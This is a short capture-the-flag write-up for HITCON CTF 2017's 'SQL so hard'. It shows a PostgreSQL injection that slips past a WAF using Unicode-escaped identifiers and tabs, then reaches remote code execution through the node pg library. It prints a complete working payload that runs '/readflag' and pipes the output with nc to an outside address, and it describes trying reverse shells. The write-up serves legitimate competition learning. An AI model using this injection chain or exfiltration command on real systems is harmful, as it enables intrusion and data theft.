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SQL so hard

HITCON ctf 2017

tl;dr

SELECT 1 FROM "\\'" can be written as SELECT 1 FROM U&"!005c'" UESCAPE '!'. Change all spaces to tabs and the WAF will be happy.

Our final exploit payload for the username field is:

','')\tON\tCONFLICT\t(username)\tDO\tUPDATE\tSET\tusername=''\tRETURNING\t1\tAS\tU&"!005c!0027+(r=process.mainModule.require,l=!0022!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022!002freadflag|nc!0020123.123!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022.123.123!00201234!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(r(!0022child_process!0022).execSync(l))]!002f!002f"\tUESCAPE\t'!';

details

  • be me
  • know nothing about mysql
  • know nothing about max_allowed_packet
  • set up local env with postgres, node and npm i pg@7.1.0 without mysql
  • reproduce the original vulnerability (given as hint)
  • spend hours researching unicode combining characters and diacritics
  • find out unicode is not going to help
  • see that we definitely need backslashes in the field name to exploit the vulnerable javascript literal
  • start digging into node pg-s query parser
  • learn that the field names are not parsed on the client side but are reflected from the server
  • consult the PostgreSQL documentation
  • find interesting unicode quoted identifiers U&"!005c'" UESCAPE '!'
  • assemble query from returning clause, tabs and the above literals
  • celebrate the RCE
  • find out that require is not defined in Function("require")() calls in node modules
  • use process.mainModule.require
  • spend another half an hour wondering why do all the reverse shells close the connection immediately
  • give up and just execute ls /|nc xxx
  • find and execute /readflag|nc xxx
  • hitcon{if_you_dont_know_why_plz_check_mysql_max_allowed_packet}
  • submit, be surprised about what the flag is talking about and move on